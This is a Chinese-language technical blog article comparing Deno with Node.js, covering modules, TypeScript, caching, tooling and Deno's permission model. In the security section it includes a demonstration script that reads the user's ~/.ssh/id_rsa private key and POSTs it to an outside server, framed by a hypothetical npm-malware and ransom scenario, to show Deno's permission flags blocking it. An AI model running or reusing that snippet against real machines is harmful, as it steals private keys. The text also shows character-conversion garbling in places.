Deno 正式發佈,完全弄明白和 node 的區別

前言

Deno 已經正式發佈了🎉!javascript

我說這句話時候,是否是不少前端 和 NodeJS 工(碼)程(農)師已經按不住本身的40米大刀了。心中的不只感慨前端是真的會造輪子,有了 node 還不夠嗎,還沒學會 node 又搞了個 deno,node 和 deno 啥區別?!html

的確,deno 和 node 形態很類似,要解決的問題彷佛也相同,那他們到底有啥區別,這一切到底是道德的淪喪仍是 ry (做者)人性的扭曲,讓咱們走進本篇文章,一探究竟。前端

Deno VS Node

Node Deno
API 引用方式 模塊導入 全局對象
模塊系統 CommonJS & 新版 node 實驗性 ES Module ES Module 瀏覽器實現
安全 無安全限制 默認安全
Typescript 第三方,如經過 ts-node 支持 原生支持
包管理 npm + node_modules 原生支持
異步操做 回調 Promise
包分發 中心化 npmjs.com 去中心化 import url
入口 package.json 配置 import url 直接引入
打包、測試、格式化 第三方如 eslint、gulp、webpack、babel 等 原生支持

1.內置 API 引用方式不一樣

node 模塊導入

node 內置 API 經過模塊導入的方式引用,例如:vue

const fs = require("fs");
fs.readFileSync("./data.txt");

deno 全局對象

而 deno 則是一個全局對象 Deno 的屬性和方法:java

Deno.readFileSync("./data.txt");

具體 deno 有哪些方法,咱們能夠經過 repl 看一下:node

deno # 或 deno repl

進入 repl 後,輸入 Deno 回車,咱們能夠看到:react

{
 Buffer: [Function: Buffer],
 readAll: [AsyncFunction: readAll],
 readAllSync: [Function: readAllSync],
 writeAll: [AsyncFunction: writeAll],
 writeAllSync: [Function: writeAllSync],
 # .....
}

這種處理的方式好處是簡單、方便,壞處是沒有分類,想查找忘記的 API 比較困難。整體來講見仁見智。webpack

2.模塊系統

咱們再來看一下模塊系統,這也是 deno 和 node 差異最大的地方,一樣也是 deno 和 node 不兼容的地方。git

node CommonJS 規範

咱們都知道 node 採用的是 CommonJS 規範,而 deno 則是採用的 ES Module 的瀏覽器實現,那麼咱們首先來認識一下:es6

ES Module 的瀏覽器實現

具體關於 ES Module 想必你們都早已熟知,但其瀏覽器實現可能你們還不是很熟悉,因此咱們先看一下其瀏覽器實現:

<body>
  <!-- 注意這裏必定要加上 type="module" -->
  <script type="module">
    // 從 URL 導入
    import Vue from "https://unpkg.com/vue@2.6.11/dist/vue.esm.browser.js";
    // 從相對路徑導入
    import * as utils from "./utils.js";
    // 從絕對路徑導入
    import "/index.js";

    // 不支持
    import foo from "foo.js";
    import bar from "bar/index.js";
    import zoo from "./index"; // 沒有 .js 後綴
  </script>
</body>

deno 的模塊規範

deno 徹底遵循 es module 瀏覽器實現,因此 deno 也是如此:

// 支持
import * as fs from "https://deno.land/std/fs/mod.ts";
import { deepCopy } from "./deepCopy.js";
import foo from "/foo.ts";

// 不支持
import foo from "foo.ts";
import bar from "./bar"; // 必須指定擴展名

咱們發現其和咱們日常在 webpack 或者 ts 使用 es module 最大的不一樣

  • 能夠經過 import url 直接引用線上資源;
  • 資源不可省略擴展名和文件名。

關於第 1 點,爭議很是大,有人很看好,以爲極大的擴展了 deno 庫的範圍;有人則不太看好,以爲國內網速的緣由,並不實用。你們的見解如何,歡迎在評論區發表 🤔

3.安全

若是模塊規範是 node 和 deno 最大的不一樣,那麼對安全的處理,則是另一個讓人摸不着頭腦的地方。

模擬盜號

在介紹以前咱們先思考一下這個場景會不會出現:

我作了一個基於命令行的一鍵上網工具 breakwall,每個月 1 個 G 免費流量,而後將壓縮後的 JS 代碼發佈到 npm 上,而後後在各類渠道宣傳一波。

羊毛黨興高彩烈的 cnpm install -g breakwall,而後每次使用的時候,我偷偷的將諸位的 ssh 密鑰和各類能偷的文檔及圖片偷偷上傳到個人服務器,在設按期限到期後,刪除電腦上資料,留下一句拿錢換資料,僅支持比特幣。

默認安全的 deno

若是你以爲以上狀況有可能出現,則會以爲下面的功能很實用。咱們先用 deno 執行如下代碼:

// index.js
let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa");

rsa = new TextDecoder().decode(rsa);

fetch("http://jsonplaceholder.typicode.com/posts/1", {
  method: "POST",
  body: JSON.stringify(rsa)
})
  .then((res) => res.json())
  .then((res) => console.log("密鑰發送成功,嘿嘿嘿😜"));

console.log("start breakwall...");
PS: --unstable 是因爲 Deno.dir API 不穩定
> deno run --unstable index.js

咱們將會獲得以下報錯信息:

> deno run --unstable  index.js
error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag
    ...

意思就是權限異常,須要訪問環境變量,須要加上 --allow-env,咱們加上這個參數再試一下。

> deno run --unstable --allow-env index.js
error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag
    ...

如此反覆,還需加上 --allow-read--allow-net ,最終的結果是:

> deno run --unstable --allow-env --allow-read --allow-net  index.js
start breakwall...
密鑰發送成功,嘿嘿嘿😜

通過一番折騰,總算是發送成功了,要想盜取密鑰實屬不易。

白名單

那有人就說了,若是個人應用確實須要訪問網絡和文件,可是有不想讓它訪問 .ssh 文件有沒有辦法?

固然有了,咱們能夠給 --allow-read--allow-net 指定白名單,名單以外都不可訪問,例如:

> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com  index.js
start breakwall...
error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag
    at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11)
    at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10)
    at async fetch ($deno$/web/fetch.ts:591:27)

簡化參數

若是確認是沒問題,或者是本身開發軟件時,圖個方便,能夠直接使用 -A--allow-all 參數容許全部權限:

> deno -A --unstable index.js
start breakwall...
密鑰發送成功,嘿嘿嘿😜

安全這方面見仁見智,有人以爲是多餘,有人以爲很好用,極大的加強了安全性。若是你屬於以爲這個功能多餘的,能夠 deno run -A xxx 便可。

4.兼容瀏覽器 API

不少人不理解,爲何你一個服務端語言要兼容瀏覽器 API,以及怎麼兼容。

爲何要兼容瀏覽器 API

關於爲何,我舉個栗子你們就明白了:在設計 node 之處,關於輸出函數原本叫 print 之類的,後來有人提議爲何不叫 console.log,ry 以爲挺不錯,因而就接納了意見。

可是,這個設計並非刻意爲之,而 deno 的設計則能夠爲之,經過與瀏覽器 API 保持一致,來減小你們的認知

怎麼兼容瀏覽器 API

概念上兼容
  • 模塊系統,從上面介紹看出 deno 是徹底遵循瀏覽器實現的;
  • 默認安全,固然也不是本身創造的概念,w3c 早已作出瀏覽器權限的規定,咱們在作小程序的時候尤其明顯,須要獲取各類權限;
  • 對於異步操做返回 Promise;
  • 使用 ArrayBuffer 處理二進制;
  • 等等...
存在 window 全局變量
console.log(window === this, window === self, window === globalThis);
實現了 WindowOrWorkerGlobalScope 的所有方法

具體方法列表,咱們能夠參考:lib.deno.shared_globals.d.tslib.deno.window.d.ts

// 請求方法
fetch("https://baidu.com");

// base64 轉化
let encodedData = btoa("Hello, world"); // 編碼
let decodedData = atob(encodedData); // 解碼

// 微任務
queueMicrotask(() => {
  console.log(123);
});

// 等等...
大趨勢

整體而言,若是服務端和瀏覽器端存在相同概念,deno 就不會創造新的概念。這一點其實 node 也在作,新的 node 14.0 CHANGELOG 就也說起要實現 Universal JavaScriptSpec compliance and Web Compatibility的思想,因此這點你們應該都會接受吧,畢竟大勢所趨趨勢。

5.支持 Typescript

無論你喜歡與否,2020 年了,必須學習 TS 了(起碼在面試的時候是亮點)。學完以後你纔會明白王境澤定律真的無處不在。

// index.ts
let str: string = "王境澤定律";
str = 132;
> deno run index.ts
error TS2322: Type '123' is not assignable to type 'string'.

► file:///Users/zhangchaojie/Desktop/index.ts:2:1

2 str = 123

6.去 node_modules

deno 沒有 node_modules,那麼它是怎麼進行包管理的呢?咱們先看下面的例子

// index.js
import { white, bgRed } from "https://deno.land/std/fmt/colors.ts";

console.log(bgRed(white("hello world!")));
> deno run index.js
Download https://deno.land/std/fmt/colors.ts
Compile https://deno.land/std/fmt/colors.ts
hello world!

咱們看到其有 DownloadCompile 兩個步驟,咱們會產生幾個疑問:

一、每次執行都要下載嗎?

解:咱們只須要再執行一次就能明白,不須要每次下載。

> deno run index.js
hello world!

二、Download 和 Compile 的文件在哪裏呢?

解:咱們會發現,當前執行的目錄,並無 Download 和 Compile 文件,那文件放在哪裏呢,咱們首先來看一下 deno --help 命令:

> deno --help
SUBCOMMANDS:
# ...
info           Show info about cache or info related to source file

# ...
ENVIRONMENT VARIABLES:
    DENO_DIR   Set deno's base directory (defaults to $HOME/.deno)

deno info 命令展現了依賴關係,相似 package.json

> deno info index.js
local: /Users/zhangchaojie/Desktop/index.js
type: JavaScript
deps:
file:///Users/zhangchaojie/Desktop/index.js
  └── https://deno.land/std/fmt/colors.ts

DENO_DIR 則爲實際的安裝和編譯目錄,至關於 node_modules,默認爲 $HOME/.deno(命令提示是這樣的,但實際須要指定一下環境變量 export DENO_DIR=$HOME/.deno),咱們看一下:

> tree $HOME/.deno
/Users/zhangchaojie/.deno
├── deps
│   └── https
│       └── deno.land
│           ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935
│           └── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json
└── gen
    └── https
        └── deno.land
            └── std
                └── fmt
                    ├── colors.ts.js
                    ├── colors.ts.js.map
                    └── colors.ts.meta

8 directories, 5 files

三、沒網絡了怎麼辦?

咱們有些場景是將本地寫好的代碼部署到沒有網絡的服務器,那麼當執行 deno run xxx 時,就是提示 error sending request。

解:將上面的緩存目錄內容,直接拷貝到服務器並指定環境變量到其目錄便可。

四、依賴代碼更新了怎麼辦?

解:當依賴模塊更新時,咱們能夠經過 --reload 進行更新緩存,例如:

> deno run --reload index.js

咱們還能夠經過白名單的方式,只更新部分依賴。例如:

> deno run --reload=https://deno.land index.js

五、僅緩存依賴,不執行代碼有辦法嗎?

解:有的,咱們能夠經過 deno cache index.js 進行依賴緩存。

六、多版本怎麼處理?

解:暫時沒有好的解決方案,只能經過 git tag 的方式區分版本。

7.標準模塊 與 node API 兼容

咱們經過第 1 點能夠看到,其實 deno 的 API 相對於 node 實際上是少一些的,經過其文件大小也能看出來:

> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   42M   /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   70M   /usr/local/bin/node

那這些少的 API 只能本身寫或者求助於社區嗎?

deno 對於自身相對於 node 少的和社區中經常使用的功能,提供了標準模塊,其特色是不依賴非標準模塊的內容,達到社區內的模塊引用最後都收斂於標準模塊的效果。例如:

// 相似 node 中 chalk 包
import { bgRed, white } from "https://deno.land/std/fmt/colors.ts";

// 相似 node 中的 uuid 包
import { v4 } from "https://deno.land/std/uuid/mod.ts";

同時爲了對 node 用戶友好,提供了 node API 的兼容

import * as path from "https://deno.land/std/node/path.ts";
import * as fs from "https://deno.land/std/node/fs.ts";

console.log(path.resolve('./', './test'))

因此,你們在爲 deno 社區作貢獻的時候,首先要看一下標準模塊有沒有提供相似的功能,若是已經提供了能夠進行引用。

8.異步操做

根據 ry 本身是說法,在設計 node 是有人提議 Promise 處理回調,可是他沒聽,用他本身的話說就是愚蠢的拒絕了。

node 用回調的方式處理異步操做、deno 則選擇用 Promise

// node 方式
const fs = require("fs");
fs.readFile("./data.txt", (err, data) => {
  if (err) throw err;
  console.log(data);
});

另外 deno 支持 top-level-await,因此以上讀取文件的代碼能夠爲:

// deno 方式
const data = await Deno.readFile("./data.txt");
console.log(data);

node 關於這方面也在一直改進,例如社區上不少 promisify 解決方案,經過包裹一層函數,實現目的。例如:

// node API promisify
const { promisify } = require("es6-promisify");
const fs = require("fs");

// 沒有 top-level-await,只能包一層
async function main() {
  const readFile = promisify(fs.readFile);
  const data = await readFile("./data.txt");
  console.log(data);
}

main();

9.單文件分發

咱們知道 npm 包必須有 package.json 文件,裏面不只須要指明 mainmodulebrowser 等字段來標明入口文件,還須要指明 namelicensedescription 等字段來講明這個包。

ry 以爲這些字段擾亂了開發者的視聽,因此在 deno 中,其模塊不須要任何配置文件,直接是 import url 的形式。

10.去中心化倉庫

對於 www.npmjs.com 咱們確定都不陌生,它是推進 node 蓬勃發展的重要支點。但做者認爲它是中心化倉庫,違背了互聯網去中心化原則。

因此 deno 並無一個像 npmjs.com 的倉庫,經過 import url 的方式將互聯網任何一處的代碼均可以引用。

PS:deno 實際上是有個基於 GitHub 的第三方模塊集合

11.去開發依賴

咱們在寫一個 node 庫或者工具時,開發依賴是少不了的,例如 babel 作轉化和打包、jest 作測試、prettier 作代碼格式化、eslint 作代碼格式校檢、gulp 或者 webpack 作構建等等,讓咱們在開發前就搞得筋疲力盡。

deno 經過內置了一些工具,解決上述問題。

  • deno bundle:打包命令,用來替換 babelgulp 一類工具: 例如:deno bundle ./mod.ts
  • deno fmt:格式化命令,用來替換 prettier 一類工具,例如:deno fmt ./mod.ts
  • deno test:運行測試代碼,用來替換 jest 一類工具,例如 deno test ./test.ts
  • deno lint:代碼校檢(暫未實現),用來替換 eslint 一類工具,例如:deno lint ./mod.ts

後記

就像小時候一直幻想的炸彈始終沒能炸了學校,技(輪)術(子)的進(制)步(造)一直也未中止過。不論咱們學的動或者學不動,技術就在那裏,不以人的意志爲轉移。

至於 deno 能不能火,我我的以爲起碼一兩年內不會有太大反響,以後和 node 的關係有可能像 Vue 和 react,有人喜歡用 deno,以爲比 node 好一萬倍,有人則喜歡 node ,以爲 node 還能再戰 500 年。至於最終學不學還看本身。

若是以爲文章不錯,記得點贊、收藏啦~~~~

相關文章
相關標籤/搜索